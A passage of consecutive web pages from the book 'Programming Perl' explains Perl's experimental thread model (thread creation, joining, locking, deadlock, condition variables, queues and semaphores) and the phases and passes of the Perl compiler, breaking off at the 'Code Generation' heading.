The Thread Model (Programming Perl)

 Book Home Programming PerlSearch this book

17.2. The Thread Model

The thread model of multiprocessing was first introduced to Perl as an experimental feature in version 5.005. (By "thread model", we mean threads that share data resources by default, not the new ithreads of version 5.6.) In some senses, this thread model is still an experimental feature even in 5.6, because Perl is a rich language and multithreading can make a muddle of even the simplest language. There are still various nooks and crannies of Perl semantics that don't interact very well with the notion of everything being shared. The new ithreads model is an attempt to bypass these problems, and at some future point, the current thread model may be subsumed under the ithread model (when we get an interface to ithreads that says "share everything you can by default"). But despite its warts, the current "experimental" thread model continues to be useful in many real-world situations where the only alternative to being a guinea pig is even less desirable. Reasonably robust applications can be written in threaded Perl, but you have to be very careful. You should at least consider using fork instead, if you can think of a way to solve your problem with pipes instead of shared data structures.

But some algorithms are easier to express if multiple tasks have easy and efficient access to the same pool of data.[2] This makes for code that can be smaller and simpler. And because the kernel does not have to copy page tables for data (even if doing copy-on-write) at thread creation time, it should be faster to start a task this way. Likewise, context switches can be faster if the kernel doesn't need to swap page tables. (In fact, for user-level threads, the kernel doesn't get involved at all--though of course user-level threads have issues that kernel threads don't.)

[2] The System V shared memory model discussed in the last chapter does not exactly qualify as "easy and efficient".

That's the good news. Now for some more disclaimers. We already mentioned that threading is somewhat experimental in Perl, but even if it weren't, programming with threads is treacherous. The ability of one execution stream to poke holes willy-nilly into the data space of another exposes more opportunity for disaster than you can possibly imagine. You might say to yourself, "That's easy to fix, I'll just put locks on any shared data." Okay, locking of shared data is indispensable, but getting the locking protocols correct is notoriously difficult, with errors producing deadlock or nondeterministic results. If you have timing problems in your program, using threads will not only exacerbate them, but it will make them harder to locate.

Not only are you responsible for keeping your own shared data straight, but you are required to keep the data straight of all the Perl modules and C libraries you call into. Your Perl code can be 100% threadsafe, and if you call into a nonthreadsafe module or C subroutine without providing your own semaphore protection, you're toast. You should assume any module is not threadsafe until proven otherwise. That even includes some of the standard modules. Maybe even most of them.

Have we discouraged you yet? No? Then we'll point out that you're pretty much at the mercy of your operating system's threading library when it comes to scheduling and preemption policies. Some thread libraries only do thread switching on blocking system calls. Some libraries block the whole process if a single thread makes a blocking system call. Some libraries only switch threads on quantum expiration (either thread or process). Some libraries only switch threads explicitly.

Oh, and by the way, if your process receives a signal, which thread the signal is delivered to is completely system dependent.

To do thread programming in Perl, you must build a special version of Perl following the directions given in the README.threads file in the Perl source directory. This special Perl is pretty much guaranteed to run a bit slower than your standard Perl executable.

Do not assume that just because you know how threads are programmed in other models (POSIX, DEC, Microsoft, etc.) you know how threads work with Perl. As with other things in Perl, Perl is Perl, not C++ or Java or whatnot. For example, there are no real-time thread priorities (and no way to work around their absence). There are also no mutexes. Just use regular locking or perhaps the Thread::Semaphore module or the cond_wait facilities.

Still not discouraged? Good, because threads are really cool. You're scheduled to have some fun.

17.2.1. The Thread Module

The current interface for Perl threads is defined by the Thread module. Additionally, one new Perl keyword was added, the lock operator. We'll talk about lock later in this chapter. Other standard thread modules build on this basic interface.

The Thread module provides these class methods:

Method | Use
new | Construct a new Thread.
self | Return my current Thread object.
list | Return list of Thread objects.

And, for Thread objects, it provides these object methods:

Method | Use
join | Harvest a thread (propagate errors).
eval | Harvest a thread (trap errors).
equal | Compare two threads for identity.
tid | Return the internal thread ID.

In addition, the Thread module provides these importable functions:

Function | Use
yield | Tell the scheduler to run a different thread.
async | Construct a Thread via closure.
cond_signal | Wake up exactly one thread that is cond_wait()ing on a variable.
cond_broadcast | Wake up all threads that may be cond_wait()ing on a variable.
cond_wait | Wait on a variable until awakened by a cond_signal() or cond_broadcast() on that variable.

17.2.1.1. Thread creation

You can spawn a thread in one of two ways, either by using the Thread->new class method or by using the async function. In either case, the returned value is a Thread object. Thread->new takes a code reference indicating a function to run and arguments to pass to that function:

use Thread;
...
$t = Thread->new( \&func, $arg1, $arg2);
Often you'll find yourself wanting to pass a closure as the first argument without supplying any additional arguments:
my $something;
$t = Thread->new( sub { say($something) } );
For this special case, the async function provides some notational relief (that is, syntactic sugar):
use Thread qw(async);
...
my $something;
$t = async {
    say($something);
};
You'll note that we explicitly import the async function. You may, of course, use the fully qualified name Thread::async instead, but then your syntactic sugar isn't so sweet. Since async takes only a closure, anything you want to pass to it must be a lexical variable in scope at the time.

17.2.1.2. Thread destruction

Once begun--and subject to the whims of your threading library--the thread will keep running on its own until its top-level function (the function you passed to the constructor) returns. If you want to terminate a thread early, just return from within that top-level function.[3]

[3] Don't call exit! That would try to take down your entire process, and possibly succeed. But the process won't actually exit until all threads exit, and some of them may refuse to exit on an exit. More on that later.

Now it's all very well for your top-level subroutine to return, but who does it return to? The thread that spawned this thread has presumably gone on to do other things and is no longer waiting at a method call for a response. The answer is simple enough: the thread waits until someone issues a method call that does wait for a return value. That method call is called join, because it conceptually joins two threads back into one:

$retval = $t->join();    # harvest thread $t
The operation of join is reminiscent of waitpid on a child process. If the thread has already shut down, the join method returns immediately with the return value of the thread's top-level subroutine. If the thread is not done, join acts as a blocking call that suspends the calling thread indefinitely. (There is no time-out facility.) When the thread eventually completes, the join returns.

Unlike waitpid, however, which can only harvest the process's own children, any thread can join any other thread within the process. That is, it is not a necessity for the joining thread be the main thread or the parent thread. The only restrictions are that a thread can't join itself (which would be like officiating at your own funeral), and a thread can't join a thread that has already been joined (which would be like two funeral directors fighting each other over the body). If you try to do either of those things, an exception will be raised.

The return value of join doesn't have to be a scalar value--it can also be a list:

use Thread 'async';

$t1 = async {
    my @stuff = getpwuid($>);
    return @stuff;
};

$t2 = async {
    my $motd = `cat /etc/motd`;
    return $motd;
};

@retlist = $t1->join();
$retval  = $t2->join();

print "1st kid returned @retlist\n";
print "2nd kid returned $retval\n";
In fact, the return expression of a thread is always evaluated in list context, even if join is called in a scalar context, in which case the last value of the list is returned.

17.2.1.3. Catching exceptions from join

If a thread terminates with an uncaught exception, this does not immediately kill the whole program. That would be naughty. Instead, when a join is run on that thread, the join itself raises the exception. Using join on a thread indicates a willingness to propagate any exceptions raised by that thread. If you'd rather trap the exception right then and there, use the eval method, which, like its built-in counterpart, causes the exception to be put into $@:

$retval = $t->eval();   # catch join errors
if ($@) {
    warn "thread failed: $@";
}
else {
    print "thread returned $retval\n";
}
Although there's no rule to this effect, you might want to adopt a practice of joining a thread only from within the thread that created the one you're joining. That is, you harvest a child thread only from the parent thread that spawned it. This makes it a little easier to keep track of which exceptions you might need to handle where.

17.2.1.4. The detach method

As another alternative method of shutting down threads, if you don't plan to join a thread later to get its return value, you can call the detach method on it so that Perl will clean it up for you. It can no longer be joined. It's a little bit like when a process is inherited by the init program under Unix, except that the only way to do that under Unix is for the parent process to die.

The detach method does not "background" the thread; if you try to exit the main program and a detached thread is still running, the exit will hang until the thread exits on its own. Rather, detach just spares you from clean up. It merely tells Perl not to keep the return value and exit status of the thread after it finishes. In a sense, detach tells Perl to do an implicit join when the thread finishes and then throw away the results. That can be important: if you neither join nor detach a thread that returns some very large list, that storage will be lost until the end, because Perl would have to hang onto it on the off chance (very off, in this case) that someone would want to join that thread sometime in the future.

An exception raised in a detached child thread also no longer propagates up through a join, since there will never be one. Use eval {} wisely in the top-level function, and find some other way to report errors.

17.2.1.5. Identifying threads

Every Perl thread has a distinguishing thread identification number, which the tid object method returns:

$his_tidno = $t1->tid();
A thread can access its own thread object through the Thread->self call. Don't confuse that with the thread ID: to figure out its own thread ID, a thread does this:
$mytid = Thread->self->tid();   # $$ for threads, as it were.
To compare one thread object with another, do any of these:
Thread::equal($t1, $t2)
$t1->equal($t2)
$t1->tid() == $td->tid()

17.2.1.6. Listing current threads

You can get a list of current thread objects in the current process using the Thread->list class method call. The list includes both running threads and threads that are done but haven't been joined yet. You can do this from any thread.

for my $t (Thread->list()) {
    printf "$t has tid = %d\n", $t->tid();
}

17.2.1.7. Yielding the processor

The Thread module supports an importable function named yield. Its job is to cause the calling thread to surrender the processor. Unfortunately, details of what this really does are completely dependent on which flavor of thread implementation you have. Nevertheless, it's considered a nice gesture to relinquish control of the CPU occasionally:

use Thread 'yield';
yield();
You don't have to use parentheses. This is even safer, syntactically speaking, because it catches the seemingly inevitable "yeild" typo:
use strict;
use Thread 'yield';
yeild;          # Compiler wails, then bails.
yield;          # Ok.

17.2.2. Data Access

What we've gone over so far isn't really too hard, but we're about to fix that. Nothing we've done has actually exercised the parallel nature of threads. Accessing shared data changes all that.

Threaded code in Perl has the same constraints regarding data visibility as any other bit of Perl code. Globals are still accessed via global symbol tables, and lexicals are still accessed via some containing lexical scope (scratchpad).

However, the fact that multiple threads of control exist in the program throws a clinker into the works. Two threads can't be allowed to access the same global variable simultaneously, or they may tromp on each other. (The result of the tromping depends on the nature of the access.) Similarly, two threads can't be allowed to access the same lexical variable simultaneously, because lexical variables also behave like globals if they are declared outside the scope of closures being used by threads. Starting threads via subroutine references (using Thread->new) rather than via closures (using async) can help limit access to lexicals, if that's what you want. (Sometimes it isn't, though.)

Perl solves the problem for certain built-in special variables, like $! and $_ and @_ and the like, by making them thread-specific data. The bad news is that all your basic, everyday package variables are unprotected from tromping.

The good news is that you don't generally have to worry about your lexical variables at all, presuming they were declared inside the current thread, since each thread will instantiate its own lexical scope upon entry, separate from any other thread. You only have to worry about lexicals if they're shared between threads, by passing references around, for example, or by referring to lexicals from within closures running under multiple threads.

17.2.2.1. Synchronizing access with lock

When more than one agent can access the same item at the same time, collisions happen, just like at an intersection. Careful locking is your only defense.

The built-in lock function is Perl's red-light/green-light mechanism for access control. Although lock is a keyword of sorts, it's a shy one, in that the built-in function is not used if the compiler has already seen a sub lock {} definition in user code. This is for backward compatibility. CORE::lock is always the built-in, though. (In a perl not built for threading, calling lock is not an error; it's a harmless no-op, at least in recent versions.)

Just as the flock operator only blocks other instances of flock, not the actual I/O, so too the lock operator only blocks other instances of lock, not regular data access. They are, in effect, advisory locks. Just like traffic lights.[4]

[4] Some railroad crossing signals are mandatory (the ones with gates), and some folks think locks should be mandatory too. But just picture a world in which every intersection has arms that go up and down whenever the lights change.

You can lock individual scalar variables and entire arrays and hashes as well.

lock $var;
lock @values;
lock %table;
However, using lock on an aggregate does not implicitly lock all that aggregate's scalar components:
lock @values;       # in thread 1
...
lock $values[23];   # in thread 2 -- won't block!
If you lock a reference, this automatically locks access to the referent. That is, you get one dereference for free. This is handy because objects are always hidden behind a reference, and you often want to lock objects. (And you almost never want to lock references.)

The problem with traffic lights, of course, is that they're red half the time, and then you have to wait. Likewise, lock is a blocking call--your thread will hang there until the lock is granted. There is no time-out facility. There is no unlock facility, either, because locks are dynamically scoped. They persist until their block, file, or eval has finished. When they go out of scope, they are freed automatically.

Locks are also recursive. That means that if you lock a variable in one function, and that function recurses while holding the lock, the same thread can successfully lock the same variable again. The lock is finally dropped when all frames owning the locks have exited.

Here's a simple demo of what can happen if you don't have locking. We'll force a context switch using yield to show the kind of problem that can also happen accidentally under preemptive scheduling:

use Thread qw/async yield/;
my $var = 0;
sub abump {
    if ($var == 0) {
        yield;
        $var++;
    }
}

my $t1 = new Thread \&abump;
my $t2 = new Thread \&abump;

for my $t ($t1, $t2) { $t->join }
print "var is $var\n";
That code always prints 2 (for some definition of always) because we decided to do the bump after seeing its value was 0, but before we could do so, another thread decided the same thing.

We can fix that collision by the trivial addition of a lock before we examine $var. Now this code always prints 1:

sub abump {
    lock $var;
    if ($var == 0) {
        yield;
        $var++;
    }
}
Remember that there's no explicit unlock function. To control unlocking, just add another, nested scoping level so the lock is released when that scope terminates:
sub abump {
    {
        lock $var;
        if ($var == 0) {
            yield;
            $var++;
        }
    }  # lock released here!
    # other code with unlocked $var
}

17.2.2.2. Deadlock

Deadlock is the bane of thread programmers because it's easy to do by accident and hard to avoid even when you try to. Here's a simple example of deadlock:

my $t1 = async {
    lock $a; yield; lock $b;
    $a++; $b++
};
my $t2 = async {
    lock $b; yield; lock $a;
    $b++; $a++
};
The solution here is for all parties who need a particular set of locks to grab them in the same order.

It's also good to minimize the duration of time you hold locks. (At least, it's good to do so for performance reasons. But if you do it to reduce the risk of deadlock, all you're doing is making it harder to reproduce and diagnose the problem.)

17.2.2.3. Locking subroutines

You can also put a lock on a subroutine:

lock &func;
Unlike locks on data, which are advisory only, subroutine locks are mandatory. No one else but the thread with the lock may enter the subroutine.

Consider the following code, which contains race conditions involving the $done variable. (The yields are for demonstration purposes only).

use Thread qw/async yield/;
my $done = 0;
sub frob {
    my $arg = shift;
    my $tid = Thread->self->tid;
    print "thread $tid: frob $arg\n";
    yield;
    unless ($done) {
        yield;
        $done++;
        frob($arg + 10);
    }
}
If you run it this way:
my @t;
for my $i (1..3) {
    push @t, Thread->new(\&frob, $i);
}
for (@t) { $_->join }
print "done is $done\n";
here's the output (well, sometimes--it's not deterministic):
thread 1: frob 1
thread 2: frob 2
thread 3: frob 3
thread 1: frob 11
thread 2: frob 12
thread 3: frob 13
done is 3
However, if you run it this way:
for my $i (1..3) {
    push @t, async {
        lock &frob;
        frob($i);
    };
}
for (@t) { $_->join }
print "done is $done\n";
here's the output:
thread 1: frob 1
thread 1: frob 11
thread 2: frob 2
thread 3: frob 3
done is 1

17.2.2.4. The locked attribute

Although obeying a subroutine lock is mandatory, nothing forces anyone to lock them in the first place. You could say that the placement of the lock is advisory. But some subroutines would really like to be able to require that they be locked before being called.

The locked subroutine attribute addresses this. It's faster than calling lock &sub because it's known at compile time, not just at run time. But the behavior is the same as when we locked it explicitly earlier. The syntax is as follows:

sub frob : locked {
    # as before
}
If you have a function prototype, it comes between the name and any attributes:
sub frob ($) : locked {
    # as before
}

17.2.2.5. Locking methods

Automatic locking on a subroutine is really cool, but sometimes it's overkill. When you're invoking an object method, it doesn't generally matter if multiple methods are running simultaneously as long as they're all running on behalf of different objects. So you'd really like to lock the object that the method is being called on instead. Adding a method attribute to the subroutine definition does this:

sub frob : locked method {
    # as before
}
If called as a method, the invoking object is locked, providing serial access to that object, but allowing the method to be called on other objects. If the method isn't called on an object, the attribute still tries to do the right thing: if you call a locked method as a class method (Package->new rather than $obj->new) the package's symbol table is locked. If you call a locked method as a normal subroutine, Perl will raise an exception.

17.2.2.6. Condition variables

A condition variable allows a thread to give up the processor until some criterion is satisfied. Condition variables are meant as points of coordination between threads when you need more control than a mere lock provides. On the other hand, you don't really need more overhead than the lock provides, and condition variables are designed with this in mind. You just use ordinary locks plus ordinary conditionals. If the condition fails, then you'll have to take extraordinary measures via the cond_wait function; but we optimize for success, since in a well-designed application, we shouldn't be bottlenecking on the current condition anyway.

Besides locking and testing, the basic operations on condition variables consist of either sending or receiving a "signal" event (not a real signal in the %SIG sense). Either you suspend your own execution to wait for an event to be received, or you send an event to wake up other threads waiting for the particular condition. The Thread module provides three importable functions to do this: cond_wait, cond_signal, and cond_broadcast. These are the primitive mechanisms upon which more abstract modules like Thread::Queue and Thread::Semaphore are based. It's often more convenient to use those abstractions, when possible.

The cond_wait function takes a variable already locked by the current thread, unlocks that variable, and then blocks until another thread does a cond_signal or cond_broadcast for that same locked variable.

The variable blocked by cond_wait is relocked after cond_wait returns. If multiple threads are cond_waiting the same variable, all but one reblock because they can't regain the lock on the variable. Therefore, if you're only using cond_wait for synchronization, give up the lock as soon as possible.

The cond_signal function takes a variable already locked by the current thread and unblocks one thread that's currently in a cond_wait on that variable. If more than one thread is blocked in a cond_wait on that variable, only one is unblocked, and you can't predict which one. If no threads are blocked in a cond_wait on that variable, the event is discarded.

The cond_broadcast function works like cond_signal, but unblocks all threads blocked in a cond_wait on the locked variable, not just one. (Of course, it's still the case that only one thread can have the variable locked at a time.)

The cond_wait function is intended to be a last-resort kind of thing that a thread does only if the condition it wants isn't met. The cond_signal and cond_broadcast indicate that the condition is changing. The scheme is supposed to be this: lock, then check to see whether the condition you want is met; if it is, fine, and if it isn't, cond_wait until it is fine. The emphasis should be on avoiding blocking if at all possible. (Generally a good piece of advice when dealing with threads.)

Here's an example of passing control back and forth between two threads. Don't be fooled by the fact that the actual conditions are over on the right in statement modifiers; cond_wait is never called unless the condition we're waiting for is false.

use Thread qw(async cond_wait cond_signal);
my $wait_var = 0;
async {
    lock $wait_var;
    $wait_var = 1;
    cond_wait $wait_var  until $wait_var == 2;
    cond_signal($wait_var);
    $wait_var = 1;
    cond_wait $wait_var  until $wait_var == 2;
    $wait_var = 1;
    cond_signal($wait_var);
};

async {
    lock $wait_var;
    cond_wait $wait_var  until $wait_var == 1;
    $wait_var = 2;
    cond_signal($wait_var);
    cond_wait $wait_var  until $wait_var == 1;
    $wait_var = 2;
    cond_signal($wait_var);
    cond_wait $wait_var  until $wait_var == 1;
};

17.2.3. Other Thread Modules

Several modules are built on top of the cond_wait primitive.

17.2.3.1. Queues

The standard Thread::Queue module provides a way to pass objects between threads without worrying about locks or synchronization. This interface is much easier:

Method | Use
new | Construct a new Thread::Queue.
enqueue | Push one or more scalars on to the end of the queue.
dequeue | Shift the first scalar off the front of the queue. The dequeue method blocks if there are no items present.

Notice how similar a queue is to a regular pipe, except that instead of sending bytes, you get to pass around full scalars, including references and blessed objects!

Here's an example derived from the perlthrtut manpage:

use Thread qw/async/;
use Thread::Queue;

my $Q = Thread::Queue->new();
async {
    while (defined($datum = $Q->dequeue)) {
       print "Pulled $datum from queue\n";
    }
};

$Q->enqueue(12);
$Q->enqueue("A", "B", "C");
$Q->enqueue($thr);
sleep 3;
$Q->enqueue(\%ENV);
$Q->enqueue(undef);
Here's what you get for output:
Pulled 12 from queue
Pulled A from queue
Pulled B from queue
Pulled C from queue
Pulled Thread=SCALAR(0x8117200) from queue
Pulled HASH(0x80dfd8c) from queue
Notice how $Q was in scope when the asynchronous thread was launched via an async closure. Threads are under the same scoping rules as anything else in Perl. The example above would not have worked had $Q been declared after the call to async.

17.2.3.2. Semaphores

Thread::Semaphore provides you with threadsafe, counting semaphore objects to implement your favorite p() and v() operations. Because most of us don't associate these operations with the Dutch words passeer ("pass") and verlaat ("leave"), the module calls these operations "down" and "up" respectively. (In some of the literature, they're called "wait" and "signal".) The following methods are supported:

Method | Use
new | Construct a new Thread::Semaphore.
down | Allocate one or more items.
up | Deallocate one or more items.

The new method creates a new semaphore and initializes its count to the specified number. If no number is specified, the semaphore's count is set to 1. (The number represents some pool of items that can "run out" if they're all allocated.)

use Thread::Semaphore;
$mutex = Thread::Semaphore->new($MAX);
The down method decreases the semaphore's count by the specified number, or by 1 if no number is given. It can be interpreted as an attempt to allocate some or all of a resource. If the semaphore's count drops below zero, this method blocks until the semaphore's count is equal to or larger than the amount you're requesting. Call it like this:
$mutex->down();
The up method increases the semaphore's count by the specified number, or 1 if no number is given. It can be interpreted as freeing up some quantity of a previously allocated resource. This unblocks at least one thread that was blocked trying to down the semaphore, provided that the up raises the semaphore count above what the down is trying to decrement it by. Call it like this:
$mutex->up();

17.2.3.3. Other standard threading modules

Thread::Signal allows you to start up a thread that is designated to receive your process's %SIG signals. This addresses the still-vexing problem that signals are unreliable as currently implemented in Perl and their imprudent use can cause occasional core dumps.

These modules are still in development and may not produce the desired results on your system. Then again, they may. If they don't, it's because someone like you hasn't fixed them yet. Perhaps someone like you should pitch in and help.

Previous | Home | Next
17.1. The Process Model | Book Index | 18. Compiling
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Compiling (Programming Perl)

 Programming PerlSearch this book

Chapter 18. Compiling

Contents:

The Life Cycle of a Perl Program
Compiling Your Code
Executing Your Code
Compiler Backends
Code Generators
Code Development Tools
Avant-Garde Compiler, Retro Interpreter

If you came here looking for a Perl compiler, you may be surprised to discover that you already have one--your perl program (typically /usr/bin/perl) already contains a Perl compiler. That might not be what you were thinking, and if it wasn't, you may be pleased to know that we do also provide code generators (which some well-meaning folks call "compilers"), and we'll discuss those toward the end of this chapter. But first we want to talk about what we think of as The Compiler. Inevitably there's going to be a certain amount of low-level detail in this chapter that some people will be interested in, and some people will not. If you find that you're not, think of it as an opportunity to practice your speed-reading skills.

Imagine that you're a conductor who's ordered the score for a large orchestral work. When the box of music arrives, you find several dozen booklets, one for each member of the orchestra with just their part in it. But curiously, your master copy with all the parts is missing. Even more curiously, the parts you do have are written out using plain English instead of musical notation. Before you can put together a program for performance, or even give the music to your orchestra to play, you'll first have to translate the prose descriptions into the normal system of notes and bars. Then you'll need to compile the individual parts into one giant score so that you can get an idea of the overall program.

Similarly, when you hand the source code of your Perl script over to perl to execute, it is no more useful to the computer than the English description of the symphony was to the musicians. Before your program can run, Perl needs to compile[1] these English-looking directions into a special symbolic representation. Your program still isn't running, though, because the compiler only compiles. Like the conductor's score, even after your program has been converted to an instruction format suitable for interpretation, it still needs an active agent to interpret those instructions.

[1]Or translate, or transform, or transfigure, or transmute, or transmogrify.

18.1. The Life Cycle of a Perl Program

You can break up the life cycle of a Perl program into four distinct phases, each with separate stages of its own. The first and the last are the most interesting ones, and the middle two are optional. The stages are depicted in Figure 18-1.

Figure 18.1. The life cycle of a Perl program

  1. The Compilation Phase

    During phase 1, the compile phase, the Perl compiler converts your program into a data structure called a parse tree. Along with the standard parsing techniques, Perl employs a much more powerful one: it uses BEGIN blocks to guide further compilation. BEGIN blocks are handed off to the interpreter to be run as as soon as they are parsed, which effectively runs them in FIFO order (first in, first out). This includes any use and no declarations; these are really just BEGIN blocks in disguise. Any CHECK, INIT, and END blocks are scheduled by the compiler for delayed execution.

    Lexical declarations are noted, but assignments to them are not executed. All eval BLOCKs, s///e constructs, and noninterpolated regular expressions are compiled here, and constant expressions are pre-evaluated. The compiler is now done, unless it gets called back into service later. At the end of this phase, the interpreter is again called up to execute any scheduled CHECK blocks in LIFO order (last in, first out). The presence or absence of a CHECK block determines whether we next go to phase 2 or skip over to phase 4.

  2. The Code Generation Phase (optional)

    CHECK blocks are installed by code generators, so this optional phase occurs when you explicitly use one of the code generators (described later in "Code Generators"). These convert the compiled (but not yet run) program into either C source code or serialized Perl bytecodes--a sequence of values expressing internal Perl instructions. If you choose to generate C source code, it can eventually produce a file called an executable image in native machine language.[2]

    [2] Your original script is an executable file too, but it's not machine language, so we don't call it an image. An image file is called that because it's a verbatim copy of the machine codes your CPU knows how to execute directly.

    At this point, your program goes into suspended animation. If you made an executable image, you can go directly to phase 4; otherwise, you need to reconstitute the freeze-dried bytecodes in phase 3.

  3. The Parse Tree Reconstruction Phase (optional)

    To reanimate the program, its parse tree must be reconstructed. This phase exists only if code generation occurred and you chose to generate bytecode. Perl must first reconstitute its parse trees from that bytecode sequence before the program can run. Perl does not run directly from the bytecodes; that would be slow.

  4. The Execution Phase

    Finally, what you've all been waiting for: running your program. Hence, this is also called the run phase. The interpreter takes the parse tree (which it got either directly from the compiler or indirectly from code generation and subsequent parse tree reconstruction) and executes it. (Or, if you generated an executable image file, it can be run as a standalone program since it contains an embedded Perl interpreter.)

    At the start of this phase, before your main program gets to run, all scheduled INIT blocks are executed in FIFO order. Then your main program is run. The interpreter can call back into the compiler as needed upon encountering an eval STRING, a do FILE or require statement, an s///ee construct, or a pattern match with an interpolated variable that is found to contain a legal code assertion.

    When your main program finishes, any delayed END blocks are finally executed, this time in LIFO order. The very first one seen will execute last, and then you're done. (END blocks are skipped only if you exec or your process is blown away by an uncaught catastrophic error. Ordinary exceptions are not considered catastrophic.

Now we'll discuss these phases in greater detail, and in a different order.

Previous | Home | Next
17.2. The Thread Model | Book Index | 18.2. Compiling Your Code
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Compiling Your Code (Programming Perl)

 Book Home Programming PerlSearch this book

18.2. Compiling Your Code

Perl is always in one of two modes of operation: either it is compiling your program, or it is executing it--never both at the same time. Throughout this book, we refer to certain events as happening at compile time, or we say that "the Perl compiler does this and that". At other points, we mention that something else occurs at run time, or that "the Perl interpreter does this and that". Although you can get by with thinking of both the compiler and interpreter as simply "Perl", understanding which of these two roles Perl is playing at any given point is essential to understanding why many things happen as they do. The perl executable implements both roles: first the compiler, then the interpreter. (Other roles are possible, too; perl is also an optimizer and a code generator. Occasionally, it's even a trickster--but all in good fun.)

It's also important to understand the distinction between compile phase and compile time, and between run phase and run time. A typical Perl program gets one compile phase, and then one run phase. A "phase" is a large-scale concept. But compile time and run time are small-scale concepts. A given compile phase does mostly compile-time stuff, but it also does some run-time stuff via BEGIN blocks. A given run phase does mostly run-time stuff, but it can do compile-time stuff through operators like eval STRING.

In the typical course of events, the Perl compiler reads through your entire program source before execution starts. This is when Perl parses the declarations, statements, and expressions to make sure they're syntactically legal.[3] If it finds a syntax error, the compiler attempts to recover from the error so it can report any other errors later in the source. Sometimes this works, and sometimes it doesn't; syntax errors have a noisy tendency to trigger a cascade of false alarms. Perl bails out in frustration after about 10 errors.

[3] No, there's no formal syntax diagram like a BNF, but you're welcome to peruse the perly.y file in the Perl source tree, which contains the yacc(1) grammar Perl uses. We recommend that you stay out of the lexer, which has been known to induce eating disorders in lab rats.

In addition to the interpreter that processes the BEGIN blocks, the compiler processes your program with the connivance of three notional agents. The lexer scans for each minimal unit of meaning in your program. These are sometimes called "lexemes", but you'll more often hear them referred to as tokens in texts about programming languages. The lexer is sometimes called a tokener or a scanner, and what it does is sometimes called lexing or tokenizing. The parser then tries to make sense out of groups of these tokens by assembling them into larger constructs, such as expressions and statements, based on the grammar of the Perl language. The optimizer rearranges and reduces these larger groupings into more efficient sequences. It picks its optimizations carefully, not wasting time on marginal optimizations, because the Perl compiler has to be blazing fast when used as a load-and-go compiler.

This doesn't happen in independent stages, but all at once with a lot of cross talk between the agents. The lexer occasionally needs hints from the parser to know which of several possible token types it's looking at. (Oddly, lexical scope is one of the things the lexical analyzer doesn't understand, because that's the other meaning of "lexical".) The optimizer also needs to keep track of what the parser is doing, because some optimizations can't happen until the parse has reached a certain point, like finishing an expression, statement, block, or subroutine.

You may think it odd that the Perl compiler does all these things at once instead of one after another, but it's really just the same messy process you go through to understand natural language on the fly, while you're listening to it or reading it. You don't wait till the end of a chapter to figure out what the first sentence meant. You could think of the following correspondences:

Computer Language | Natural Language
Character | Letter
Token | Morpheme
Term | Word
Expression | Phrase
Statement | Sentence
Block | Paragraph
File | Chapter
Program | Story

Assuming the parse goes well, the compiler deems your input a valid story, er, program. If you use the -c switch when running your program, it prints out a "syntax OK" message and exits. Otherwise, the compiler passes the fruits of its efforts on to other agents. These "fruits" come in the form of a parse tree. Each fruit on the tree--or node, as it's called--represents one of Perl's internal opcodes, and the branches on the tree represent that tree's historical growth pattern. Eventually, the nodes will be strung together linearly, one after another, to indicate the execution order in which the run-time system will visit those nodes.

Each opcode is the smallest unit of executable instruction that Perl can think about. You might see an expression like $a = -($b + $c) as one statement, but Perl thinks of it as six separate opcodes. Laid out in a simplified format, the parse tree for that expression would look like Figure 18-2. The numbers represent the visitation order that the Perl run-time system will eventually follow.

Figure 18.2. Opcode visitation order of $a = -($b + $c)

Perl isn't a one-pass compiler as some might imagine. (One-pass compilers are great at making things easy for the computer and hard for the programmer.) It's really a multipass, optimizing compiler consisting of at least three different logical passes that are interleaved in practice. Passes 1 and 2 run alternately as the compiler repeatedly scurries up and down the parse tree during its construction; pass 3 happens whenever a subroutine or file is completely parsed. Here are those passes:

Pass 1: Bottom-Up Parsing

During this pass, the parse tree is built up by the yacc(1) parser using the tokens it's fed from the underlying lexer (which could be considered another logical pass in its own right). Bottom-up just means that the parser knows about the leaves of the tree before it knows about its branches and root. It really does figure things out from bottom to top in Figure 18-2, since we drew the root at the top, in the idiosyncratic fashion of computer scientists. (And linguists.)

As each opcode node is constructed, per-opcode sanity checks verify correct semantics, such as the correct number and types of arguments used to call built-in functions. As each subsection of the tree takes shape, the optimizer considers what transformations it can apply to the entire subtree now beneath it. For instance, once it knows that a list of values is being fed to a function that takes a specific number of arguments, it can throw away the opcode that records the number of arguments for functions that take a varying number of arguments. A more important optimization, known as constant folding, is described later in this section.

This pass also constructs the node visitation order used later for execution, which is a really neat trick because the first place to visit is almost never the top node. The compiler makes a temporary loop of opcodes, with the top node pointing to the first opcode to visit. When the top-level opcode is incorporated into something bigger, that loop of opcodes is broken, only to make a bigger loop with the new top node. Eventually the loop is broken for good when the start opcode gets poked into some other structure such as a subroutine descriptor. The subroutine caller can still find that first opcode despite its being way down at the bottom of the tree, as it is in Figure 18-2. There's no need for the interpreter to recurse back down the parse tree to figure out where to start.

Pass 2: Top-Down Optimizer

A person reading a snippet of Perl code (or of English code, for that matter) cannot determine the context without examining the surrounding lexical elements. Sometimes you can't decide what's really going on until you have more information. Don't feel bad, though, because you're not alone: neither can the compiler. In this pass, the compiler descends back down the subtree it's just built to apply local optimizations, the most notable of which is context propagation. The compiler marks subjacent nodes with the appropriate contexts (void, scalar, list, reference, or lvalue) imposed by the current node. Unwanted opcodes are nulled out but not deleted, because it's now too late to reconstruct the execution order. We'll rely on the third pass to remove them from the provisional execution order determined by the first pass.

Pass 3: Peephole Optimizer

Certain units of code have their own storage space in which they keep lexically scoped variables. (Such a space is called a scratchpad in Perl lingo.) These units include eval STRINGs, subroutines, and entire files. More importantly from the standpoint of the optimizer, they each have their own entry point, which means that while we know the execution order from here on, we can't know what happened before, because the construct could have been called from anywhere. So when one of these units is done being parsed, Perl runs a peephole optimizer on that code. Unlike the previous two passes, which walked the branch structure of the parse tree, this pass traverses the code in linear execution order, since this is basically the last opportunity to do so before we cut the opcode list off from the parser. Most optimizations were already performed in the first two passes, but some can't be.

Assorted late-term optimizations happen here, including stitching together the final execution order by skipping over nulled out opcodes, and recognizing when various opcode juxtapositions can be reduced to something simpler. The recognition of chained string concatenations is one important optimization, since you'd really like to avoid copying a string back and forth each time you add a little bit to the end. This pass doesn't just optimize; it also does a great deal of "real" work: trapping barewords, generating warnings on questionable constructs, checking for code unlikely to be reached, resolving pseudohash keys, and looking for subroutines called before their prototypes had been compiled.

Pass 4: Code Generation

